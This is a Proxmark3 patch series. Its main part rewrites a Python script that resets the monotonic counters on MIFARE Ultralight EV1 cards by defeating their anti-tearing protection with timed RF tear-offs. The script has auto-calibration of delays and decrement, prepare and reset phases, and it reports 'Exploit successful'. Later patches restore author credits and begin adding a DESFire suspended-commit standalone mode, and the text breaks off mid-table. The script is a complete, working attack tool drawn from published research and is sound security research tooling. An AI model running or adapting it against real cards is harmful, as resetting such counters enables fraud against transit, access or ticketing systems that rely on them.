From 0e814659c3a48025357c19ce0c56ce91fc5d6af5 Mon Sep 17 00:00:00 2001 From: M35MAR Date: Sat, 20 Jun 2026 11:39:01 +0200 Subject: [PATCH 1/5] client/pyscripts: fix and stabilize mfuev1 counter reset --- client/pyscripts/mfuev1_counter_reset.py | 743 +++++++++++++++++------ 1 file changed, 570 insertions(+), 173 deletions(-) diff --git a/client/pyscripts/mfuev1_counter_reset.py b/client/pyscripts/mfuev1_counter_reset.py index 1e8b52ea3..95c561cba 100644 --- a/client/pyscripts/mfuev1_counter_reset.py +++ b/client/pyscripts/mfuev1_counter_reset.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 - #----------------------------------------------------------------------------- # Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. # @@ -8,217 +7,615 @@ # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# # See LICENSE.txt for the text of the license. #----------------------------------------------------------------------------- -# This script bypasses the Anti-Tearing protection on MIFARE Ultralight EV1 monotonic counters and allows resetting the counter value -# Script version: 1.0.0 -# Created by W0rthlessS0ul (https://github.com/W0rthlessS0ul) -# Based on Quarkslab research: https://blog.quarkslab.com/rfid-monotonic-counter-anti-tearing-defeated.html +# Bypass Anti-Tearing on MIFARE Ultralight EV1 monotonic counters (tear-off). +# Script version: 2.0.0 +# Created by M35MAR +# Based on Quarkslab research and W0rthlessS0ul original script #----------------------------------------------------------------------------- import argparse -import sys import os +import re +import sys +import threading +import time + import pm3 try: from colors import color except ModuleNotFoundError: - def color(s, fg=None): + def color(text, fg=None): _ = fg - return str(s) + return str(text) + +PROGRAM_NAME = os.path.basename(sys.argv[0]) + +# Known EV1 limits / artifacts +COUNTER_MAX = 0xFFFFFF +COUNTER_PREPARE_TARGET = 0x00FFFF +TEAR_STUCK_VALUE = 6 # counter may be read as 6 after a failed tear + +# Calibration and delay tuning +DELAY_BD_MIN = 2700 +DELAY_BD_MAX = 5000 +CAL_STEP_US = 5 +DELAY_00_OFFSET = 10 # delay_00 = BD - this offset +DELAY_TUNE_STEP = 1 +DELAY_TUNE_JUMP = 10 + +RETRY_COUNT = 3 +RETRY_SLEEP_S = 0.2 +TEAR_REPAIR_ATTEMPTS = 5 + +ANSI_ESCAPE = re.compile(r"\x1b\[[0-9;]*m") +PM3_PAYLOAD_RE = re.compile(r"\[\+\]\s+([^\n\[]+)") +NACK_BYTES = frozenset({"04", "05", "06", "0A", "0a"}) p = pm3.pm3() -ProgramName = os.path.basename(sys.argv[0]) -attempt = 0 -byte = 1 -parser = argparse.ArgumentParser( - formatter_class=argparse.RawTextHelpFormatter, - prog=color(f"\n script run {ProgramName}", "red"), - epilog=color(f"examples:\n", "green") + color(f" script run {ProgramName} -c 0\n script run {ProgramName} -c 0 -i 25\n script run {ProgramName} -c 0 -i 25 -f True\n script run {ProgramName} -c 0 -i 25 -f True --BD 2350 --00 225", "yellow") +def build_parser(): + parser = argparse.ArgumentParser( + formatter_class=argparse.RawTextHelpFormatter, + prog=color(f"\n script run {PROGRAM_NAME}", "red"), + epilog=( + color("examples:\n", "green") + + color( + f" script run {PROGRAM_NAME} -c 0\n" + f" script run {PROGRAM_NAME} -c 0 -f\n" + f" script run {PROGRAM_NAME} -c 0 --DelayBD 2720 --Delay00 2705", + "yellow", + ) + ), ) -parser.add_argument('-c', '--cnt', metavar='', type=str, default='0', help='Counter index') -parser.add_argument('-i', '--inc', metavar='', type=int, default=25, help='Increase time steps') -parser.add_argument('-f', '--force', metavar='', type=bool, help='Force start without checking') -parser.add_argument('--DelayBD', metavar='', type=int, help='Manual adjustment of BD delay (disables auto-configuring)') -parser.add_argument('--Delay00', metavar='', type=int, help='Manual adjustment of 00 delay (disables auto-configuring)') + parser.add_argument("-c", "--cnt", metavar="", default="0", help="Counter index (0-2)") + parser.add_argument("-f", "--force", action="store_true", help="Skip pre-flight checks") + parser.add_argument("--DelayBD", metavar="", type=int, help="Manual BD delay (us, disables auto-calibration)") + parser.add_argument("--Delay00", metavar="", type=int, help="Manual 00 delay (us)") + return parser -if '-h' in sys.argv or '--help' in sys.argv: + +def print_help(parser): help_text = parser.format_help() - help_text = help_text.replace("usage:", f"\n{color('Counter reset of Mifare UL EV1 cards', 'cyan')}\n\nusage:") - help_text = help_text.replace("options:", color("options:", "green")).replace("usage:", color("usage:", "green")) + help_text = help_text.replace( + "usage:", + f"\n{color('Counter reset of Mifare UL EV1 cards', 'cyan')}\n\nusage:", + ) + help_text = help_text.replace("options:", color("options:", "green")).replace( + "usage:", color("usage:", "green") + ) print(help_text) - sys.exit(0) -args = parser.parse_args() -counter_number = args.cnt +def strip_ansi(text: str) -> str: + return ANSI_ESCAPE.sub("", str(text)) -def read_counter(counter_numb): - p.console(f"hf 14a raw -s -c 39 0{counter_numb}", capture=True) - counter = str(p.grabbed_output).split(" [ ")[0].replace("[+] ", "").replace(" ", "").lower() - counter_bytes = bytes.fromhex(counter) - counter_int = int.from_bytes(counter_bytes, byteorder='little') - return counter, counter_int -def enable_tearoff(delay): - p.console(f"hw tearoff --delay {delay}") - p.console("hw tearoff --on", capture=True) - if str(p.grabbed_output).find("enabled") >= 0: - return True - return False +def extract_pm3_payload(output: str) -> str: + """Return hex bytes from the last Proxmark3 [+] line, before the CRC bracket.""" + clean = strip_ansi(output) + matches = PM3_PAYLOAD_RE.findall(clean) + if not matches: + return "" + line = matches[-1].strip() + if " [" in line: + line = line.split(" [ ", 1)[0] + return line.strip() -def incr_cnt(counter_numb, StrBytes): - p.console(f"hf 14a raw -s -c A5 0{counter_numb} {StrBytes} 00") - p.grabbed_output -def check_tearing_event(counter_numb): - p.console(f"hf 14a raw -s -c 3E 0{counter_numb}", capture=True) - tearing = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ")[0] - if tearing == "BD": - return True, tearing - return False, tearing +def format_counter_hex(counter_int: int) -> str: + return counter_int.to_bytes(3, byteorder="little").hex() + + +def int_to_incr_bytes(value: int) -> str: + """Return 6 hex chars, little-endian (LSB first) for INCR_CNT.""" + return value.to_bytes(3, byteorder="little").hex() + + +def run_pm3(cmd: str, *, capture: bool = True) -> str: + p.console(cmd, capture=capture, quiet=True) + return strip_ansi(str(p.grabbed_output)) + + +def wake_card() -> None: + run_pm3("hf 14a reader") + + +def parse_counter_output(output: str): + payload = extract_pm3_payload(output) + if not payload: + return None, None + + parts = payload.split() + if len(parts) == 1: + # Single-byte reply is usually a NACK, not a 24-bit counter. + if parts[0] in NACK_BYTES: + return None, None + return None, None + + if len(parts) < 3: + return None, None -def some_tests(counter_numb): try: - p.console(f"hf 14a raw -s -c 60", capture=True) - info = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ") - if info[4] != "01": - print(f"[{color('!', 'red')}] Support only EV1 versions") - return False - except: + counter_bytes = bytes(int(part, 16) for part in parts[:3]) + except ValueError: + return None, None + + counter_int = int.from_bytes(counter_bytes, byteorder="little") + return format_counter_hex(counter_int), counter_int + + +def parse_tearing_output(output: str): + payload = extract_pm3_payload(output) + if not payload: + return False, "?" + + tearing = payload.split()[0].upper() + return tearing == "BD", tearing + + +def read_counter(counter_index: str): + for _ in range(RETRY_COUNT): + output = run_pm3(f"hf 14a raw -s -c 39 0{counter_index}") + counter_hex, counter_int = parse_counter_output(output) + if counter_hex is not None: + return counter_hex, counter_int + wake_card() + time.sleep(RETRY_SLEEP_S) + return None, None + + +def check_tearing_event(counter_index: str): + for _ in range(RETRY_COUNT): + output = run_pm3(f"hf 14a raw -s -c 3E 0{counter_index}") + try: + return parse_tearing_output(output) + except (IndexError, ValueError): + time.sleep(RETRY_SLEEP_S) + return False, "?" + + +def enable_tearoff(delay_us: int) -> bool: + run_pm3(f"hw tearoff --delay {delay_us}") + output = run_pm3("hw tearoff --on") + return "enabled" in output.lower() + + +def disable_tearoff() -> None: + run_pm3("hw tearoff --off") + + +def incr_cnt(counter_index: str, payload_hex: str) -> None: + run_pm3(f"hf 14a raw -s -c A5 0{counter_index} {payload_hex} 00") + + +def repair_tear_flag(counter_index: str) -> bool: + wake_card() + for _ in range(TEAR_REPAIR_ATTEMPTS): + _, tearing = check_tearing_event(counter_index) + if tearing in ("00", "BD"): + return True + incr_cnt(counter_index, "000000") + incr_cnt(counter_index, "000000") + time.sleep(RETRY_SLEEP_S) + + print(f"[{color('!', 'yellow')}] Attempting tear-off repair...") + enable_tearoff(2950) + incr_cnt(counter_index, "010000") + time.sleep(RETRY_SLEEP_S) + wake_card() + _, tearing = check_tearing_event(counter_index) + return tearing in ("00", "BD") + + +def normalize_tear_flag(counter_index: str) -> None: + for _ in range(TEAR_REPAIR_ATTEMPTS * 2): + if check_tearing_event(counter_index)[1] in ("00", "BD"): + return + incr_cnt(counter_index, "000000") + + +def run_decrement_step(counter_index: str, delay_bd: int, delay_00: int) -> None: + enable_tearoff(delay_bd) + incr_cnt(counter_index, "000100") + enable_tearoff(delay_00) + incr_cnt(counter_index, "000000") + enable_tearoff(delay_bd) + incr_cnt(counter_index, "000000") + enable_tearoff(delay_00) + incr_cnt(counter_index, "000000") + normalize_tear_flag(counter_index) + + +def run_reset_step(counter_index: str, delay_bd: int, delay_00: int) -> None: + enable_tearoff(delay_bd) + incr_cnt(counter_index, "010000") + enable_tearoff(delay_00) + incr_cnt(counter_index, "000000") + normalize_tear_flag(counter_index) + + +def tune_delay(delay_bd: int, previous_counter: int, current_counter: int, locked: bool) -> int: + if locked: + return delay_bd + if current_counter == previous_counter: + return delay_bd + DELAY_TUNE_STEP + if current_counter - previous_counter > DELAY_TUNE_JUMP: + return max(DELAY_BD_MIN, delay_bd - DELAY_TUNE_STEP) + return delay_bd + + +def is_ev1_card() -> bool: + wake_card() + output = run_pm3("hf 14a raw -s -c 60") + payload = extract_pm3_payload(output) + parts = payload.split() + if len(parts) >= 5 and parts[4].upper() == "01": + return True + + info_output = run_pm3("hf mfu info").lower() + return any( + marker in info_output + for marker in ( + "ul ev1", + "ultralight ev1", + "ul-ev1", + "major version: 01", + "mfu ev1", + ) + ) + + +def preflight_checks(counter_index: str) -> bool: + wake_card() + if not is_ev1_card(): print(f"[{color('!', 'red')}] Support only Mifare UL EV1 cards") return False - tearing = check_tearing_event(counter_number)[1] - if tearing != "00" and tearing != "BD": - print(f"[{color('!', 'red')}] Looks like you're card doesn't support CHECK_TEARING_EVENT") + if not repair_tear_flag(counter_index): + _, tearing = check_tearing_event(counter_index) + print(f"[{color('!', 'red')}] Could not repair tear flag (got 0x{tearing})") return False - counter_str, counter = read_counter(counter_number) - if counter == 16777215: - print(f"[{color('!', 'red')}] The counter value is at its maximum, it cannot be reset") - return False - elif counter == 0: - print(f"[{color('!', 'red')}] The counter value is already at the minimum level") + _, tearing = check_tearing_event(counter_index) + if tearing not in ("00", "BD"): + print(f"[{color('!', 'red')}] Card does not support CHECK_TEARING_EVENT") return False - if counter_str[:4] == "0000": - print(f"\n[{color('+', 'green')}] First two bytes set to 00, skip") - byte = 3 - elif counter_str[:2] == "00": - print(f"\n[{color('+', 'green')}] First byte set to 00, skip") - byte = 2 + _, counter = read_counter(counter_index) + if counter is None: + print(f"[{color('!', 'red')}] Cannot read initial counter") + return False + if counter == COUNTER_MAX: + print(f"[{color('!', 'red')}] Counter is at maximum (0x{COUNTER_MAX:06X}), cannot reset") + return False + if counter == 0: + print(f"[{color('!', 'red')}] Counter is already at minimum (0)") + return False + print( + f"[{color('*', 'blue')}] Counter {counter_index}: " + f"{counter} (0x{format_counter_hex(counter).upper()}) | Tear: 0x{tearing}" + ) return True + +class StopListener: + def __init__(self): + self._stop = False + self._thread = threading.Thread(target=self._run, daemon=True) + + @property + def stopped(self) -> bool: + return self._stop + + def start(self) -> None: + self._thread.start() + + def stop(self) -> None: + self._stop = True + self._thread.join(timeout=1) + + def _run(self) -> None: + if os.name == "nt": + import msvcrt + while not self._stop: + if msvcrt.kbhit() and msvcrt.getch() == b"\r": + self._stop = True + time.sleep(0.1) + return + + import select + while not self._stop: + if select.select([sys.stdin], [], [], 0.1)[0] and sys.stdin.readline(): + self._stop = True + + +def calibrate_bd_delay(counter_index: str, stop: StopListener): + """Return (delay_bd, delay_00) where delay_00 = delay_bd - 15 (fixed offset).""" + best_bd = None + + for delay_bd in range(DELAY_BD_MIN, DELAY_BD_MAX, CAL_STEP_US): + if stop.stopped: + return best_bd, None + + initial_hex, initial_int = read_counter(counter_index) + if initial_hex is None: + repair_tear_flag(counter_index) + continue + + enable_tearoff(delay_bd) + incr_cnt(counter_index, "000000") + check_tearing, tear_flag = check_tearing_event(counter_index) + incr_cnt(counter_index, "000000") + incr_cnt(counter_index, "000000") + + final_hex, final_int = read_counter(counter_index) + if final_hex is None: + repair_tear_flag(counter_index) + continue + + tear_color = "green" if check_tearing else "red" + stable = final_int == initial_int + print( + f"\r[{color('=', 'goldenrod')}] Testing delay: {color(delay_bd, 'yellow')} us | " + f"Check tearing: {color(tear_flag, tear_color)} | " + f"Counter: {color(initial_hex.upper(), 'yellow')} -> {color(final_hex.upper(), 'yellow')}", + end="", + flush=True, + ) + + if check_tearing: + best_bd = delay_bd + if stable: + print(f"\n[{color('+', 'green')}] Working BD delay: {color(delay_bd, 'green')} us") + delay_00 = max(DELAY_BD_MIN, delay_bd - DELAY_00_OFFSET) + return delay_bd, delay_00 + + if best_bd is not None: + print( + f"\n[{color('!', 'yellow')}] Counter drift during calibration; " + f"using last BD delay: {color(best_bd, 'green')} us" + ) + delay_00 = max(DELAY_BD_MIN, best_bd - DELAY_00_OFFSET) + return best_bd, delay_00 + + print(f"\n[{color('!', 'red')}] Auto-calibration failed; try manual --DelayBD 2720") + return None, None + + +def attack_loop(counter_index: str, delay_bd: int, delay_00: int, stop: StopListener) -> bool: + phase = "decrement" + attempt = 0 + reset_attempts = 0 + delay_locked = False + + _, baseline_counter = read_counter(counter_index) + if baseline_counter is None: + baseline_counter = 0 + + tune_reference = baseline_counter + reset_reference = baseline_counter + + while not stop.stopped: + counter_hex, counter_int = read_counter(counter_index) + if counter_hex is None: + repair_tear_flag(counter_index) + time.sleep(0.2) + continue + + if counter_int == 0: + print("\n[+] Exploit successful") + return True + + if counter_int == TEAR_STUCK_VALUE: + repair_tear_flag(counter_index) + continue + + if phase == "decrement": + if counter_int <= COUNTER_PREPARE_TARGET and counter_int != TEAR_STUCK_VALUE: + print("\n[=] Switching to PREPARE phase (counter <= 0x00FFFF)") + incr_cnt(counter_index, "000000") + time.sleep(0.2) + incr_cnt(counter_index, "000000") + phase = "prepare" + reset_reference = counter_int + continue + + initial_hex, initial_int = counter_hex, counter_int + run_decrement_step(counter_index, delay_bd, delay_00) + + if stop.stopped: + break + + final_hex, final_int = read_counter(counter_index) + if final_hex is None: + continue + + if final_int == TEAR_STUCK_VALUE: + continue + + _, tear_flag = check_tearing_event(counter_index) + attempt += 1 + print( + f"\r[{color('DEC', 'red')}] Att {attempt} | BD/00: {delay_bd}/{delay_00} us | " + f"Tear: {tear_flag} | {initial_hex.upper()} -> {final_hex.upper()} ", + end="", + flush=True, + ) + + if final_int < initial_int and final_int != TEAR_STUCK_VALUE: + print( + f"\n[{color('+', 'green')}] Decrement! {initial_hex.upper()} -> " + f"{final_hex.upper()} (delta {initial_int - final_int})" + ) + # Consolidate the drop + incr_cnt(counter_index, "000000") + time.sleep(0.2) + incr_cnt(counter_index, "000000") + normalize_tear_flag(counter_index) + delay_locked = True + tune_reference = final_int + continue + + # Tuning logic + if final_int > initial_int: + if delay_locked: + delay_locked = False + tune_reference = final_int + else: + new_delay = tune_delay(delay_bd, tune_reference, final_int, False) + if new_delay != delay_bd: + delay_bd = new_delay + # delay_00 is intentionally left unchanged + tune_reference = final_int + else: + if not delay_locked: + new_delay = tune_delay(delay_bd, tune_reference, final_int, False) + if new_delay != delay_bd: + delay_bd = new_delay + tune_reference = final_int + + elif phase == "prepare": + if counter_int < COUNTER_PREPARE_TARGET and counter_int != TEAR_STUCK_VALUE: + diff = COUNTER_PREPARE_TARGET - counter_int + diff_hex = int_to_incr_bytes(diff) + print( + f"\r[{color('PREPARE', 'yellow')}] Incrementing by {diff} to reach 0x{COUNTER_PREPARE_TARGET:06X}...", + end="", + flush=True, + ) + incr_cnt(counter_index, diff_hex) + incr_cnt(counter_index, "000000") + continue + + if counter_int == COUNTER_PREPARE_TARGET: + print(f"\n[=] Counter at 0x{COUNTER_PREPARE_TARGET:06X}, switching to RESET phase") + phase = "reset" + reset_attempts = 0 + reset_reference = COUNTER_PREPARE_TARGET + delay_locked = False + continue + + phase = "decrement" + continue + + elif phase == "reset": + initial_hex, initial_int = counter_hex, counter_int + run_reset_step(counter_index, delay_bd, delay_00) + + if stop.stopped: + break + + final_hex, final_int = read_counter(counter_index) + if final_hex is None: + continue + + if final_int == TEAR_STUCK_VALUE: + continue + + reset_attempts += 1 + print( + f"\r[{color('RESET', 'green')}] Att {reset_attempts} | BD/00: {delay_bd}/{delay_00} us | " + f"{initial_hex.upper()} -> {final_hex.upper()} ", + end="", + flush=True, + ) + + if final_int == 0: + print(f"\n[+] {color('Exploit successful', 'green')}") + return True + + if final_int > COUNTER_PREPARE_TARGET: + print("\n[=] Counter increased, returning to DECREMENT") + phase = "decrement" + tune_reference = final_int + delay_locked = False + continue + + if final_int == initial_int: + new_delay = tune_delay(delay_bd, reset_reference, final_int, False) + if new_delay != delay_bd: + delay_bd = new_delay + reset_reference = final_int + elif final_int < initial_int: + print(f"\n[{color('+', 'green')}] Reset decrement! {initial_hex} -> {final_hex}") + delay_locked = True + reset_reference = final_int + # else final_int slightly higher but still within range – ignore + + return False + + +def main(): + print(color("Attack against the monotonic counters of MFU EV1 using the tear-off technique.", "cyan")) + print( + color( + "Note: If the counter does not reset after a few attempts, increment it to 2^n and retry.", + "cyan", + ) + ) + print() + + if not args.force and not preflight_checks(args.cnt): + print( + f"[{color('?', 'goldenrod')}] Try `{color(f'script run {PROGRAM_NAME} -f', 'goldenrod')}` " + "if this is a false negative" + ) + return 1 + + stop = StopListener() + stop.start() + + success = False + try: + if args.DelayBD is None: + result = calibrate_bd_delay(args.cnt, stop) + if result[0] is None: + return 1 + delay_bd, delay_00 = result + else: + delay_bd = args.DelayBD + delay_00 = args.Delay00 if args.Delay00 is not None else delay_bd - DELAY_00_OFFSET + print(f"[{color('+', 'green')}] Using manual BD delay: {color(delay_bd, 'green')} us") + if args.Delay00 is not None: + print(f"[{color('+', 'green')}] Using manual 00 delay: {color(delay_00, 'green')} us") + + if stop.stopped: + print("\n[x] Interrupted by user.") + return 0 + + success = attack_loop(args.cnt, delay_bd, delay_00, stop) + if success: + return 0 + if stop.stopped: + print("\n[x] Interrupted by user.") + return 0 + return 1 + finally: + stop.stop() + disable_tearoff() + sys.stdout.flush() + + if __name__ == "__main__": - if not args.force and not some_tests(counter_number): - print(f"[{color('?', 'goldenrod')}] Try `{color(f'script run {ProgramName} -f True', 'goldenrod')}` if this is a script bug", end="") + parser = build_parser() + if "-h" in sys.argv or "--help" in sys.argv: + print_help(parser) sys.exit(0) - if args.DelayBD == None: - for Delay_BD in range(1000, 5000, args.inc): - initial_counter_str, initial_counter_int = read_counter(counter_number) - enable_tearoff(Delay_BD) - incr_cnt(counter_number, "010000") - check_tearing, check_tearing_clear = check_tearing_event(counter_number) - final_counter_str, final_counter_int = read_counter(counter_number) - print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_BD, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'red') if not check_tearing else color(check_tearing_clear, 'green')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True) - if final_counter_int > initial_counter_int and check_tearing: - print(f"\n[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us") - break - else: - Delay_BD = args.DelayBD - print(f"[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us") - if args.Delay00 == None: - for Delay_00 in range(100, 1000, args.inc): - initial_counter_str, initial_counter_int = read_counter(counter_number) - enable_tearoff(Delay_00) - incr_cnt(counter_number, "000000") - check_tearing, check_tearing_clear = check_tearing_event(counter_number) - final_counter_str, final_counter_int = read_counter(counter_number) - print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'green') if not check_tearing else color(check_tearing_clear, 'red')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True) - if not check_tearing: - print(f"\n[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us") - incr_cnt(counter_number, "000000") - break - else: - Delay_00 = args.Delay00 - print(f"[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us") + args = parser.parse_args() - constant_counter_int = read_counter(counter_number)[1] - while True: - initial_counter_str, initial_counter_int = read_counter(counter_number) - - enable_tearoff(Delay_BD) - match byte: - case 1: - incr_cnt(counter_number, "010000") - case 2: - incr_cnt(counter_number, "000100") - case 3: - incr_cnt(counter_number, "000001") - enable_tearoff(Delay_00) - incr_cnt(counter_number, "000000") - - final_counter_str, final_counter_int = read_counter(counter_number) - check_tearing, check_tearing_clear = check_tearing_event(counter_number) - - attempt+=1 - print(f"\r[{color('=', 'goldenrod')}] Attempt: {color(attempt, 'green')} | Delay BD/00: {color(Delay_BD, 'yellow')}/{color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'yellow')} | Counter changing: {color(initial_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(initial_counter_str.upper(), 'green')}==>{color(final_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(final_counter_str.upper(), 'green')}", end="", flush=True) - - if attempt % 20 == 0 and constant_counter_int == final_counter_int: - Delay_BD+=5 - constant_counter_int = final_counter_int - print(f"\n[{color('=', 'goldenrod')}] BD delay increased {color(Delay_BD, 'green')}") - elif attempt % 20 == 0 and final_counter_int - constant_counter_int > 10: - Delay_BD-=5 - constant_counter_int = final_counter_int - print(f"\n[{color('=', 'goldenrod')}] BD delay reduced {color(Delay_BD, 'red')}") - - if attempt % 5 == 0 and check_tearing: - Delay_00+=5 - print(f"\n[{color('=', 'goldenrod')}] 00 delay increased {color(Delay_00, 'green')}") - - if attempt % 20 == 0: constant_counter_int = final_counter_int - - if final_counter_int < initial_counter_int and final_counter_str[:2] == "00" and byte == 1: - if final_counter_str[-4:] == "0000": - print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00") - byte = 4 - elif final_counter_str[-4:][:2] == "00": - print(f"\n[{color('+', 'green')}] Exploit successfull, first two bytes set to 00") - byte = 3 - else: - print(f"\n[{color('+', 'green')}] Exploit successfull, first byte set to 00") - byte = 2 - elif final_counter_int < initial_counter_int and final_counter_str[-4:][:2] == "00" and byte == 2: - if final_counter_str[-2:] == "00": - print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00") - byte = 4 - else: - print(f"\n[{color('+', 'green')}] Exploit successfull, second byte set to 00") - byte = 3 - elif final_counter_int < initial_counter_int and final_counter_str[-2:] == "00" and byte == 3: - print(f"\n[{color('+', 'green')}] Exploit successfull, third byte set to 00") - byte = 4 - - if byte == 4: - check_tearing, check_tearing_clear = check_tearing_event(counter_number) - if not check_tearing: - print(f"\n[{color('#', 'blue')}] Check tearing: {color(check_tearing_clear, 'red')}\n[{color('=', 'goldenrod')}] Copying slot A to B") - while not check_tearing: - check_tearing, check_tearing_clear = check_tearing_event(counter_number) - incr_cnt(counter_number, "000000") - print(f"[{color('+', 'green')}] Check tearing: {color(check_tearing_clear, 'green')}") - - print(f"\n[{color('+', 'green')}] Exploit successfull\n[{color('=', 'goldenrod')}] - Initial counter: {initial_counter_str.upper()}\n[{color('=', 'goldenrod')}] - Final counter: {color(final_counter_str.upper(), 'green')}\n[{color('=', 'goldenrod')}] - Counter changing: {initial_counter_int - final_counter_int}\n[{color('=', 'goldenrod')}] - Check tearing: {color(check_tearing_clear, 'green')}", end="") - sys.exit(0) + try: + sys.exit(main()) + except KeyboardInterrupt: + disable_tearoff() + print("\n[x] Interrupted.") + sys.exit(0) + except Exception as exc: + disable_tearoff() + print(f"\n[x] Error: {exc}") + raise \ No newline at end of file From 52ef29b282221a105d9143259d7a5897b782f0db Mon Sep 17 00:00:00 2001 From: M35MAR Date: Sat, 20 Jun 2026 16:31:10 +0200 Subject: [PATCH 2/5] Restore original author credits in mfuev1_counter_reset.py --- client/pyscripts/mfuev1_counter_reset.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/client/pyscripts/mfuev1_counter_reset.py b/client/pyscripts/mfuev1_counter_reset.py index 95c561cba..8f222006b 100644 --- a/client/pyscripts/mfuev1_counter_reset.py +++ b/client/pyscripts/mfuev1_counter_reset.py @@ -11,8 +11,9 @@ #----------------------------------------------------------------------------- # Bypass Anti-Tearing on MIFARE Ultralight EV1 monotonic counters (tear-off). # Script version: 2.0.0 -# Created by M35MAR -# Based on Quarkslab research and W0rthlessS0ul original script +# Created by W0rthlessS0ul (https://github.com/W0rthlessS0ul) +# Based on Quarkslab research: https://blog.quarkslab.com/rfid-monotonic-counter-anti-tearing-defeated.html +# Updated by M35MAR (https://github.com/M35mar) #----------------------------------------------------------------------------- import argparse From 10fdef1811e5959bc9cfd1ee9dc3bf5f5b81465e Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 19 Jun 2026 15:31:32 +0200 Subject: [PATCH 3/5] standalone mode `HF_DOEGOX_COMMIT`: DESFire suspended commit without relay --- CHANGELOG.md | 3 +- armsrc/Standalone/Makefile.hal | 249 +++++----- armsrc/Standalone/Makefile.inc | 4 + armsrc/Standalone/hf_doegox_auth0.c | 3 - armsrc/Standalone/hf_doegox_commit.c | 430 ++++++++++++++++++ armsrc/Standalone/readme.md | 3 +- .../4_Advanced-compilation-parameters.md | 85 ++-- tools/build_all_firmwares.sh | 2 +- 8 files changed, 608 insertions(+), 171 deletions(-) create mode 100644 armsrc/Standalone/hf_doegox_commit.c diff --git a/CHANGELOG.md b/CHANGELOG.md index c2408f279..bd70e4e0a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] -- Add support for Innovatron protocol detection to `hf 14b info` (@kormax) +- Added standalone mode `HF_DOEGOX_COMMIT`: DESFire suspended commit without relay (@doegox) +- Added support for Innovatron protocol detection to `hf 14b info` (@kormax) - Improved `lf cotag reader` and `lf cotag demod`: Reimplementation and enhancement of proxmark3 COTAG support - Added `hf felica sim` command (@kormax) - Added `mad read`, `mad write`, `mad verify`, `mad decode`, `mad encode` commands with typed struct MAD API (@AlxCzl) diff --git a/armsrc/Standalone/Makefile.hal b/armsrc/Standalone/Makefile.hal index 028c48233..739c5ce76 100644 --- a/armsrc/Standalone/Makefile.hal +++ b/armsrc/Standalone/Makefile.hal @@ -21,134 +21,137 @@ STANDALONE?=$(DEFAULT_STANDALONE) STANDALONE_REQ_DEFS= define KNOWN_STANDALONE_DEFINITIONS -+==========================================================+ -| STANDALONE | DESCRIPTION | -+==========================================================+ -| (empty) | No standalone mode | -+----------------------------------------------------------+ -| LF_SKELETON | standalone mode skeleton | -| | - iceman | -+----------------------------------------------------------+ -| LF_EM4100EMUL | Simulate predefined em4100 tags only | -| | | -+----------------------------------------------------------+ -| LF_EM4100RSWB | Read/simulate/brute em4100 tags & | -| | clone it to T555x tags | -+----------------------------------------------------------+ -| LF_EM4100RSWW | Read/simulate/validate em4100 tags & | -| | clone it to T55xx tags, wipe T55xx tags| -+----------------------------------------------------------+ -| LF_EM4100RWC | Read/simulate em4100 tags & clone it | -| | to T555x tags | -+----------------------------------------------------------+ -| LF_HIDBRUTE | HID corporate 1000 bruteforce | -| | - Federico dotta & Maurizio Agazzini | -+----------------------------------------------------------+ -| LF_HIDFCBRUTE | HID Facility Code bruteforce | -| (RDV4 only) | | -+----------------------------------------------------------+ -| LF_ICEHID | LF HID collector to flashmem | -| (RDV4 only) | | -+----------------------------------------------------------+ -| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator | -| | - Shain Lakin | -+----------------------------------------------------------+ -| LF_NEDAP_SIM | LF Nedap ID simple simulator | -| | | -+----------------------------------------------------------+ -| LF_NEXID | LF Nexwatch collector to flashmem | -| (RDV4 only) | | -+----------------------------------------------------------+ -| LF_PROXBRUTE | HID ProxII bruteforce | -| | - Brad Antoniewicz | -+----------------------------------------------------------+ -| LF_PROX2BRUTE | HID ProxII bruteforce v2 | -| | | -+----------------------------------------------------------+ -| LF_SAMYRUN | HID26 read/clone/sim | -| (default) | - Samy Kamkar | -+----------------------------------------------------------+ -| LF_THAREXDE | Simulate/read EM4x50 tags | -| (RDV4 only) | storing in flashmem | -+----------------------------------------------------------+ -| HF_14ASNIFF | 14a sniff to flashmem (rdv4) or ram | -| | | -+----------------------------------------------------------+ -| HF_14BSNIFF | 14b sniff to flashmem (rdv4) or ram | -| | | -+----------------------------------------------------------+ -| HF_15SNIFF | 15693 sniff to flashmem (rdv4) or ram | -| | | -+----------------------------------------------------------+ -| HF_15SIM | 15693 tag simulator | -| | | -+----------------------------------------------------------+ -| HF_AVEFUL | Mifare ultralight read/simulation | -| | - Ave Ozkal | -+----------------------------------------------------------+ -| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth | -| (RDV4 only) | storing in flashmem - Bogito | -+----------------------------------------------------------+ -| HF_CARDHOPPER | Relay 14a protocols over long distances| -| (RDV4 only) | (w/ IP backbone) - 